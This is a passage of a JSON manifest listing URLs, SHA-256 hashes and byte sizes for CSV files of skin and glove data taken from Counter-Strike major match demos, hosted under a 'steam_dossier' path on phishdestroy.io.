          "sha256": "2201fc08f4d7b100c5d9aa063e149c656b268303df8ecf50ecb442e6c3cbd611",
          "bytes": 106707
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97954_faze-vs-the-mongolz-m1-mirage.dem.skins.csv",
          "sha256": "c6e26b91bfdc00925d6a3ed6858a3a820afdc6b30d49c7d3dca61cf2fd4b281a",
          "bytes": 239937
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97954_faze-vs-the-mongolz-m2-anubis.dem.skins.csv",
          "sha256": "9f2488656be8002c5007942153dae6e39b7a3278d66047e71ce0d7327bb86312",
          "bytes": 233823
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97970_mouz-vs-vitality-m1-mirage.dem.skins.csv",
          "sha256": "70f349e5cbd0e9d106a7591b3cbada2d75f73aba12981c583cd525b0c373ee25",
          "bytes": 121955
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97970_mouz-vs-vitality-m2-inferno.dem.skins.csv",
          "sha256": "81dc42780f5b42b66baffa32a1688cc3417a6e66654e0c4b5f4b57b9b3245401",
          "bytes": 112077
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97970_mouz-vs-vitality-m3-train.dem.skins.csv",
          "sha256": "52f4e5343f9c732e05a9fd0b3041eb2c967b0d8e40a835afd3bd52935b3fdd71",
          "bytes": 107037
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97973_pain-vs-the-mongolz-m1-mirage.dem.skins.csv",
          "sha256": "c9d743cd91d31ba8242f7a0099da1db85c304b5869c70749dc2ba9ea2873f8c0",
          "bytes": 197024
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97973_pain-vs-the-mongolz-m2-anubis.dem.skins.csv",
          "sha256": "a083ea041c0779a97c19be2c3214c65763fdea6451729a5db28ecaffdd31a59e",
          "bytes": 172581
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97995_vitality-vs-the-mongolz-m1-mirage.dem.skins.csv",
          "sha256": "4564ab284f28e8676af86a721534f40839aa50af43606c97c2117f77d79d69e5",
          "bytes": 172595
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97995_vitality-vs-the-mongolz-m2-dust2.dem.skins.csv",
          "sha256": "36b33a1a97b7cbddef9103ce8d469125457d69c92076af5dd052af3cb94db7ea",
          "bytes": 156805
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97995_vitality-vs-the-mongolz-m3-inferno.dem.skins.csv",
          "sha256": "d32b4b2c42d313eb449cd1c9d065ba604dec74ca4cb401751d2deeca5a588325",
          "bytes": 189938
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/faze-vs-natus-vincere-m1-ancient.dem.skins.csv",
          "sha256": "af3c3c5ead7d14cc65f686b40ff172fd8075d524703dede983a6278346cfa8db",
          "bytes": 125529
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/faze-vs-natus-vincere-m1-inferno.dem.skins.csv",
          "sha256": "78880a2ce8fc5810bead5bbe85725c15a87b8b745a9ac955e0c37ae71d1acd54",
          "bytes": 168226
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/faze-vs-natus-vincere-m2-mirage.dem.skins.csv",
          "sha256": "78cef7644fbc265a3dbefdc53af05d89618ab3182fc35e26f2ca57c3cb15e847",
          "bytes": 84157
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/faze-vs-natus-vincere-m2-nuke.dem.skins.csv",
          "sha256": "9f682be4d5fe086ffbe4d7c1566f75c7eb463bfe29221d1e1526bff4d7c413bd",
          "bytes": 111592
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/faze-vs-natus-vincere-m3-inferno.dem.skins.csv",
          "sha256": "f64b927bf05aafb26571d097fe22c379a27d788c36a648833ef9018ad59f5f30",
          "bytes": 104863
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/g2-vs-natus-vincere-m1-ancient.dem.skins.csv",
          "sha256": "e73e9a1c4568bab001cd7fb943330a1d3f9ea713b0a7d2f6acdc1d67a52aa9ff",
          "bytes": 20040
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/g2-vs-natus-vincere-m2-nuke.dem.skins.csv",
          "sha256": "f6964a144d397640c563c7f96f40e7c232dab58c5038522701f30146f6c6c9df",
          "bytes": 173691
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/gamerlegion-vs-vitality-m1-overpass.dem.skins.csv",
          "sha256": "989091d03502d5eceaf5b58e9946130fd988dbfbf475f04223367ba360755114",
          "bytes": 82622
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/gamerlegion-vs-vitality-m2-nuke.dem.skins.csv",
          "sha256": "57b224b50194fe6393ba30caeb0ef14e9b7838877d81713d53d68c4be4e443c0",
          "bytes": 75262
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/outsiders-vs-heroic-m1-mirage.dem.skins.csv",
          "sha256": "4d227dbf10c544472104b7234ee7570dc8a3d125f7e1b80761b8ebe26cd596b4",
          "bytes": 125054
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/outsiders-vs-heroic-m2-overpass.dem.skins.csv",
          "sha256": "44f92f535cb1591068ee528f95eb4692c49fa8804c763539777cd2ff1da46ea8",
          "bytes": 97495
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/spirit-vs-faze-m1-nuke.dem.skins.csv",
          "sha256": "f764f0c1e2127b89e839df6ff35e68282df3212ad81f87785c59cc7922a33d66",
          "bytes": 137241
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/spirit-vs-faze-m2-ancient.dem.skins.csv",
          "sha256": "67a7c13eff6ed07cf792c142a4a20526fb7c9e23e722fdf9e2dfb52978816d54",
          "bytes": 111492
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/spirit-vs-faze-m3-dust2.dem.skins.csv",
          "sha256": "d3d3340c5b67440292bb146c7138c024ccd285da637d787a85dae8331a5daecc",
          "bytes": 141548
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/vitality-vs-the-mongolz-m1-mirage.dem.skins.csv",
          "sha256": "70f045a27004bfc507d75aaf33fbfedaff2387017a7a7bd45f80bdbee9a7f8f5",
          "bytes": 172595
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/vitality-vs-the-mongolz-m2-dust2.dem.skins.csv",
          "sha256": "cb305deabe5a6bdce4403ecf2ba4598e0c3438033c180199964f090eac760962",
          "bytes": 156805
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/vitality-vs-the-mongolz-m3-inferno.dem.skins.csv",
          "sha256": "46688528bcd649788ae3bf5947cf130f10d793c0225ae3065d598807c9e6c113",
          "bytes": 189938
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68407_g2-vs-natus-vincere-m1-ancient.dem.gloves.csv",
          "sha256": "37da9d480d3059fbdaf6b00aa47e72d32e91a8b61f1fe493f9398aec7f83903f",
          "bytes": 648
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68407_g2-vs-natus-vincere-m2-nuke.dem.gloves.csv",
          "sha256": "85a45b9468aed59967fc1d0b84ca9a78847c7aa08606e68aa2622919993dc8bf",
          "bytes": 668
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71910_nip-vs-faze-m1-nuke.dem.gloves.csv",
          "sha256": "0acf14f558e4cc6aebc1ed2a99def7f72e091c26679983cf8f98181a506eaf88",
          "bytes": 667
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71910_nip-vs-faze-m2-overpass.dem.gloves.csv",
          "sha256": "4a3cc6b9c19f4aac40dd200970f686c85aab7a41922e33a4866303561d636853",
          "bytes": 667
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71910_nip-vs-faze-m3-inferno.dem.gloves.csv",
          "sha256": "eb6dc713c5d78d2815cfd95046e5fe92d4184dc4602f7369fdb6e0089a883b65",
          "bytes": 667
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71939_ence-vs-copenhagen-flames-m1-vertigo.dem.gloves.csv",
          "sha256": "894ef7ae543121ce7aa20200ad02c934be1219e096e05b048b54e78b4746ef43",
          "bytes": 656
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71939_ence-vs-copenhagen-flames-m2-nuke.dem.gloves.csv",
          "sha256": "99b0c294b9a3e3c1e30983548427f1d29008f819863c608b8e836cd7f9ef73c6",
          "bytes": 654
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71998_faze-vs-natus-vincere-m1-inferno.dem.gloves.csv",
          "sha256": "f7ff61f118cfcbe15b2bdf4947f1f73c9d5167c9a1dab70409b1d2c83a502597",
          "bytes": 673
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71998_faze-vs-natus-vincere-m2-nuke.dem.gloves.csv",
          "sha256": "7a5ea587735d9076010aab3609b57808e7828301df8ff9c51004566439dd17bc",
          "bytes": 673
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75553_spirit-vs-bad-news-eagles-ancient.dem.gloves.csv",
          "sha256": "272c861b2fbce3f963b623e3338fcf18479374aeab34a140b7d0446fe74cfe8c",
          "bytes": 677
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75555_mouz-vs-liquid-inferno.dem.gloves.csv",
          "sha256": "280f2207fb5fdd3aa8b55e7fb410a056341bf24bcfd2b825711154d3b47864c8",
          "bytes": 655
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75556_sprout-vs-big-vertigo.dem.gloves.csv",
          "sha256": "4b7fb9868339d183e0e4af69cd80648de8a296ed6fffef7e644c30054e97909a",
          "bytes": 665
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75637_outsiders-vs-heroic-m1-mirage.dem.gloves.csv",
          "sha256": "0e66f360e7caff3ad76fabcbd5632d387dded128a4df9267b7443d52b179b481",
          "bytes": 650
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75637_outsiders-vs-heroic-m2-overpass.dem.gloves.csv",
          "sha256": "eaba806561a8dade2b0bbb3ae9f5fc08d904dc5e58c39a65ce2bc9ec238a634d",
          "bytes": 651
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79711_9ine-vs-liquid-inferno.dem.gloves.csv",
          "sha256": "d467419887d7b8b0650497e53071d277130258721528c56fcbe3a327954dc203",
          "bytes": 654
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79712_natus-vincere-vs-gamerlegion-mirage.dem.gloves.csv",
          "sha256": "0f65369dafcc2f3d7104fe94a856aee37262959250e9c63c6ea1571edf76cc7b",
          "bytes": 658
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79717_into-the-breach-vs-apeks-mirage.dem.gloves.csv",
          "sha256": "e624278ee8fee07139b9a7294fb2a19dea67816007e743fbae4eee2df488440a",
          "bytes": 652
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79720_bad-news-eagles-vs-ence-vertigo.dem.gloves.csv",
          "sha256": "305e082f783118af01ff4890b16d981fbb2b998ca31140d55d56846795f8fbde",
          "bytes": 666
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79721_liquid-vs-natus-vincere-inferno.dem.gloves.csv",
          "sha256": "be409cac7b8b6f74fa57d2d269727e27b83ee22df8f2c33afefa36f09829744f",
          "bytes": 659
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79723_vitality-vs-ence-vertigo.dem.gloves.csv",
          "sha256": "19463dd6efbec5f6f5a79df1aff87842d6812cf6e92f8f3d8675c31f07e53450",
          "bytes": 657
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79726_9ine-vs-gamerlegion-mirage.dem.gloves.csv",
          "sha256": "c672b36a16204a7e43b96bf565c377cb376a1c4ac06fb45e2e48b7d8533cfddb",
          "bytes": 652
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79727_bad-news-eagles-vs-g2-ancient.dem.gloves.csv",
          "sha256": "6bffe67a53324a9878195e3cf4f913213d2a0327ee5ad9e9d10ecc07243101f3",
          "bytes": 672
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79731_natus-vincere-vs-ninjas-in-pyjamas-overpass.dem.gloves.csv",
          "sha256": "0ad447ac3185ce6e6d2f32440fffd4790e290d992e6d3e685c2020fc151a705c",
          "bytes": 671
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79733_ence-vs-into-the-breach-vertigo.dem.gloves.csv",
          "sha256": "985ce52088b374ff75cfd6a069f92db808a74add50e03ffce55fa0e893a36095",
          "bytes": 651
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79734_apeks-vs-bad-news-eagle-ancient.dem.gloves.csv",
          "sha256": "12085ebcb2461cf5dd2fff95fa85c54fe6e840cdc76d25c502a37ae454b132b4",
          "bytes": 667
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79735_fnatic-vs-gamerlegion-overpass.dem.gloves.csv",
          "sha256": "c9cfdabb0fb78e4bcb5d7a7a65f075a92c7953dd719a95ad6ddf3c5c995c8e9f",
          "bytes": 655
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79736_monte-vs-vitality-m1-anubis.dem.gloves.csv",
          "sha256": "e70241d5bbbf4e51d859ca051e3f33c7c547dd14e861c0c79edc88efed28c7c7",
          "bytes": 655
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79736_monte-vs-vitality-m2-nuke.dem.gloves.csv",
          "sha256": "346ee4e81e92ba1555d0aea5d89afea0948d5e57e2337b5054b3e761cdd0d1bb",
          "bytes": 655
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79739_9ine-vs-faze-m1-inferno.dem.gloves.csv",
          "sha256": "2a386b33545edc66336db0a4c965959f7685555a5e1635dc4dee65d0c583ef82",
          "bytes": 661
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79739_9ine-vs-faze-m2-anubis.dem.gloves.csv",
          "sha256": "72b90559039a12cc251ba987ac24a0a0ed7ca8b51efd51e46c661a5085932878",
          "bytes": 661
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79740_heroic-vs-liquid-m1-inferno.dem.gloves.csv",
          "sha256": "4e945267343f537d7c3defc3205e0d99f2d0a3c218d09f39a3d8f089ba467ba9",
          "bytes": 649
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79740_heroic-vs-liquid-m2-mirage.dem.gloves.csv",
          "sha256": "bfb1962248766c2c21248d98be0719ad6b7532ffc94d38f74cf2e1fb978d6068",
          "bytes": 649
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79740_heroic-vs-liquid-m3-ancient.dem.gloves.csv",
          "sha256": "ed4b93d0e9bc3718fc43c33abd46356ff40c21c2bf80907a813ba8511a1e0ca2",
          "bytes": 649
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79741_furia-vs-g2-m1-inferno.dem.gloves.csv",
          "sha256": "f1aa58c881eb50e19108a6fa6528491160982fb1116a9484572eeca9c0708b76",
          "bytes": 663
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79741_furia-vs-g2-m2-mirage.dem.gloves.csv",
          "sha256": "62db65650b1de3ababd7c133215e3fbb0acdc09351dc849a9024d9f618b4d343",
          "bytes": 663
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79744_faze-vs-bad-news-eagles-m1-overpass.dem.gloves.csv",
          "sha256": "dfb9364941b8a05cd487c53fff3e8f8babdf42b13cfd3ba6a168ea97c53dafa9",
          "bytes": 673
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79744_faze-vs-bad-news-eagles-m2-mirage.dem.gloves.csv",
          "sha256": "ec6d9bb97918cccaf402cdbb44bfe0a0af448867ff0ebdd879eea4dea427921c",
          "bytes": 673
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79744_faze-vs-bad-news-eagles-m3-inferno.dem.gloves.csv",
          "sha256": "3f185939de2d8cc96c4dad931e2d47289f1ad8f99a35d055ff1720da77abfbe9",
          "bytes": 673
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79746_liquid-vs-into-the-breach-m1-overpass.dem.gloves.csv",
          "sha256": "56c3980d066d44a048de0d6fd4a5286c8bf829e0ccd2bfa56a0532d2bc2d6b70",
          "bytes": 651
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79746_liquid-vs-into-the-breach-m2-anubis.dem.gloves.csv",
          "sha256": "d425a73216d74d25bd08db4c20fc2c425fe700e26b3ab26aab9ff90988d5e919",
          "bytes": 651
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79747_fnatic-vs-g2-m1-inferno.dem.gloves.csv",
          "sha256": "eedf2d1a6ec0ea8a5ef17e510294990c3a769d3c529bfcf843c04775d4a31e50",
          "bytes": 662
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79747_fnatic-vs-g2-m2-ancient.dem.gloves.csv",
          "sha256": "b13a89db65d8340cf0421e4416dfb7ae321ff6e4488a7b8945d0091eb63f1fbc",
          "bytes": 663
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79747_fnatic-vs-g2-m3-vertigo.dem.gloves.csv",
          "sha256": "61dc447f5ec63e3733d27b2200a81e3aa05e0e0002eb56deff8d6abc20bb7fa8",
          "bytes": 662
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79756_faze-vs-natus-vincere-m1-overpass.dem.gloves.csv",
          "sha256": "cb1f0214bad2f0539a2365937945b3b6a151f37d34a25747fb323aae62c8f3c6",
          "bytes": 666
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79756_faze-vs-natus-vincere-m3-anubis.dem.gloves.csv",
          "sha256": "b3d7bf9699f8a41b2e3ac67ac6547f887b253010bd478de8bcd4af6139f641f3",
          "bytes": 666
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79758_fnatic-vs-into-the-breach-m1-inferno.dem.gloves.csv",
          "sha256": "f62bcf08fdf35ffebed1497f14f66c33f348328d03039c585c50c82489353616",
          "bytes": 666
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79758_fnatic-vs-into-the-breach-m2-overpass.dem.gloves.csv",
          "sha256": "7c2c8954884255ed778f84719f4da081aa4d131557c8ccf5b19a40cfd4acd98d",
          "bytes": 667
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79758_fnatic-vs-into-the-breach-m3-vertigo.dem.gloves.csv",
          "sha256": "7bce86481cd226b41fa6ba7950ec2ab8deee7fe17b89faffb64fd6cfa8a42402",
          "bytes": 666
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79760_apeks-vs-ninjas-in-pyjamas-m1-vertigo.dem.gloves.csv",
          "sha256": "702419b0bb6f916baaca5d40f4c866eb6a39464212caf509832d11c7945a0d7d",
          "bytes": 664
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79760_apeks-vs-ninjas-in-pyjamas-m2-ancient.dem.gloves.csv",
          "sha256": "d0c7addaeaf143b1dc71b9de9cd412393e9062dea365735da4ba39776ba63128",
          "bytes": 664
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79802_heroic-vs-faze-m1-nuke.dem.gloves.csv",
          "sha256": "b80bf6ba6640d3e3c4371c112143bde0e5fa0bad03de6b219d53a591a8ed0d0a",
          "bytes": 656
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79802_heroic-vs-faze-m2-overpass.dem.gloves.csv",
          "sha256": "bfbe14613de5f97262e2e3f4801ade30df06b59b9ba7b194fb1a0d2defc5adfa",
          "bytes": 656
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79802_heroic-vs-faze-m3-mirage.dem.gloves.csv",
          "sha256": "d0c7b9af8198966bc843854e596e638e2c78d70f04711cb245a0dd1520490204",
          "bytes": 656
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79803_vitality-vs-into-the-breach-m1-vertigo.dem.gloves.csv",
          "sha256": "5ee11b88660a8c41cb3797a56bc0199878681c7fd5cbb1ff123b3ffb73ff0c64",
          "bytes": 667
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79803_vitality-vs-into-the-breach-m2-anubis.dem.gloves.csv",
          "sha256": "8a3276a680a3e879ad0492df7b27e2d23ecd4401d18ea260d95ca344685746fa",
          "bytes": 667
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79807_liquid-vs-apeks-m1-ancient.dem.gloves.csv",
          "sha256": "266202e5762e8d2ad4c5c3f4801b3daddb123cddb0290552bf8401a53bfd46f8",
          "bytes": 652
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79807_liquid-vs-apeks-m2-overpass.dem.gloves.csv",
          "sha256": "b945be743583f367151b09c2aa6686466006c5ba3aed82c1595a0b4e04fab433",
          "bytes": 652
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79831_heroic-vs-gamerlegion-m1-ancient.dem.gloves.csv",
          "sha256": "93dea20b4025acd18792f7b5d14ca28c3dd141465f7cbb4d34c54dea4a4f7efe",
          "bytes": 647
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79831_heroic-vs-gamerlegion-m2-inferno.dem.gloves.csv",
          "sha256": "ad8f381105e9c56c7b99f17169feb98c11996c7e43e6a0b4376017c49bc38614",
          "bytes": 647
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79831_heroic-vs-gamerlegion-m3-mirage.dem.gloves.csv",
          "sha256": "2478f1598eae03bfa15ff42e1d77730340b105527b2f0b9f18d99432c3b7a22a",
          "bytes": 647
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79832_vitality-vs-apeks-m1-mirage.dem.gloves.csv",
          "sha256": "885ba5f79a9336f5d125de6201fad63e36da45f893a5cba06f98ea69947bfeb3",
          "bytes": 659
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79832_vitality-vs-apeks-m2-vertigo.dem.gloves.csv",
          "sha256": "66a0ebdd0660ef21476cc040bc430f7f70d1618dbcc8c1766f609a9a0e30cf1b",
          "bytes": 659
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79841_gamerlegion-vs-vitality-m1-overpass.dem.gloves.csv",
          "sha256": "d8ce364844cb5b2d2a9defc5d5e1c666e75fb3181a5b6b6f9a5b92d1c740daea",
          "bytes": 656
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79841_gamerlegion-vs-vitality-m2-nuke.dem.gloves.csv",
          "sha256": "7d60af3466c5b60e4304fb11dd70d42da6f57c0cec6a711ccde6ff155f496766",
          "bytes": 656
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86019_mouz-vs-ecstatic-overpass.dem.gloves.csv",
          "sha256": "65bffeaa3562299af7eb9e2f39c64f166b7e4eaa644a298a67f7600f13fa1609",
          "bytes": 656
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86023_complexity-vs-pain-vertigo.dem.gloves.csv",
          "sha256": "140606d417e97baa9840f901b5b068454a50d56a82c409ba780c3ed732b43a9a",
          "bytes": 651
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86024_faze-vs-heroic-ancient.dem.gloves.csv",
          "sha256": "dcef31c8a46ec79b681226245e0452a5316806a1d390deb209bd0bb09697626e",
          "bytes": 667
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86025_g2-vs-furia-inferno.dem.gloves.csv",
          "sha256": "a541fd26c1cb7cc57993f304c40e834a02e834b039ad2204bbcc9913c381122c",
          "bytes": 664
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86026_spirit-vs-cloud9-ancient.dem.gloves.csv",
          "sha256": "369324b67cacdd1c6190c86c0e8eb721ce1c8fe517d788aa0b24f9647c67c009",
          "bytes": 675
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86029_vitality-vs-themongolz-nuke.dem.gloves.csv",
          "sha256": "c484a1a2b6820a490006d90e47d67502cdbd228f860fd611e6320086e40ed357",
          "bytes": 652
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86030_mouz-vs-eternal-fire-vertigo.dem.gloves.csv",
          "sha256": "58ec0db6d2e6cf65a7216daedcd49c4768c8f475427e211fdee9b0bffc39e700",
          "bytes": 654
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86031_virtuspro-vs-pain-inferno.dem.gloves.csv",
          "sha256": "0b65cbc10018f7e4425ef490a1cbd4f5dda658f1f47878d908e831d170c83e63",
          "bytes": 648
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86032_complexity-vs-heroic-vertigo.dem.gloves.csv",
          "sha256": "3da9eefada64e8dbc8232232a53796f41911c18ff83fd2759f8b05cb9a1d1454",
          "bytes": 656
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86033_cloud9-vs-ecstatic-overpass.dem.gloves.csv",
          "sha256": "45985c6e90f63eabdce53f9f9176a721108325a90137f6084b1a50cc82bf4a57",
          "bytes": 677
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86035_natus-vincere-vs-g2-nuke.dem.gloves.csv",
          "sha256": "cbad4f415e8f18474f6fc105932eee08a27050f4825a50af9ec692db751817db",
          "bytes": 658
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86036_faze-vs-furia-ancient.dem.gloves.csv",
          "sha256": "e2088344a25c07e2b65df9a610ecebe3fd8e43f164006ae8eef279c6f34500aa",
          "bytes": 665
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86038_spirit-vs-imperial-mirage.dem.gloves.csv",
          "sha256": "72b962535797ec483cd1155d933a3fc9913b9c7f8e6c326b296a869207e218a0",
          "bytes": 662
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86044_heroic-vs-virtus-pro-ancient.dem.gloves.csv",
          "sha256": "1a59fcd25548805f354654795255652816f080ae707567bf27f089c2eca6184e",
          "bytes": 652
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86045_g2-vs-cloud9-anubis.dem.gloves.csv",
          "sha256": "5e57b20065761d805923eeb190f3d44de75ac2d24c6d9ecd4e13c8e7b8057efd",
          "bytes": 672
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86047_eternal-fire-vs-faze-overpass.dem.gloves.csv",
          "sha256": "9afe0635a5377d5e8c354e8e2343cf0b04f8511152fbe353fbdf7dd4318fb9da",
          "bytes": 666
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86048_imperial-vs-vitality-overpass.dem.gloves.csv",
          "sha256": "bb7f71f838824a06b7c80a9958481e9ba7a95ccdc531486b74a6ae5304e81df8",
          "bytes": 661
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86050_mouz-vs-complexity-m1-overpass.dem.gloves.csv",
          "sha256": "18213e573e5ac9444dad3ed4e21963b23796056e8ca06a8dac2f2c6e12157020",
          "bytes": 659
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86050_mouz-vs-complexity-m2-ancient.dem.gloves.csv",
          "sha256": "5db5b6231bcbd2a4b33195209e6d40859e4143bb56b6812293c05aa69f264896",
          "bytes": 659
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86051_pain-vs-themongolz-m1-mirage.dem.gloves.csv",
          "sha256": "eadc24861bbb503fc248db28a3cbac8d2f72d74079494e675c39bd148a0e1f94",
          "bytes": 652
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86051_pain-vs-themongolz-m2-nuke.dem.gloves.csv",
          "sha256": "935bef2eb9cab8437246634cd2c78246d61cd0449e9f1307bd04d86b57ebf46a",
          "bytes": 652
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86051_pain-vs-themongolz-m3-inferno.dem.gloves.csv",
